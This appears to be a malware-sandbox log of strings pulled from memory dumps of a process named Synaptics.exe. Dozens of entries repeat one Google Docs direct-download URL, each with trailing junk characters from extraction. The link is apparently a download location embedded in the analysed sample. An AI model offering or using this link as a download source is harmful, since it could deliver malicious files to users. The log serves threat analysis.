Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2346850361.000000001D9E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007319000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2321971186.000000000EEDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA
Source: Synaptics.exe, 00000004.00000002.2302077647.00000000071F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadAV
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadAp
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA~
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007319000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007367000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007279000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBO
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC:
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCC
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCZ-
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCo
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCompkN
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadConte
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCz
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007319000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007279000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007227000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356043485.000000001DDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDGVOH
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDene
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDenet
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDenet4
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDenethu
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDk
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDo
Source: Synaptics.exe, 00000004.00000002.2284139607.00000000007FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDrivemWn
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD~
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000072BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE$
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEF
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEs
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadF
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFD
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFl
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFp
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007279000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadGL
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.00000000007FE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadH
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadH.xls
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadHA
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadHM
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadHT
Source: Synaptics.exe, 00000004.00000002.2284139607.00000000007FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadIGuZD
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadIx
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadIy
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007367000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007279000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2321971186.000000000EEDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2288511831.0000000002120000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJN
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ~
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK)
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2346850361.000000001D9E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadKO
Source: Synaptics.exe, 00000004.00000002.2284139607.00000000007FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadKZ
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK_
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadKu
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007227000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadL
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadLn
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadLo
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadLz
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000072BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadM
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadM5
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMr
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007367000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN8
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNs
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007279000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadO
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2346850361.000000001D9E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007227000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadP
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPL
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPYX
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQk
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2295363513.00000000052D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007319000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007367000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007279000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2358747058.000000001DF48000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadR
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadRO
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.00000000007FE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSCB
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSD
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSp
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSt
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007227000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadT
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadT)
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTX
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTgH
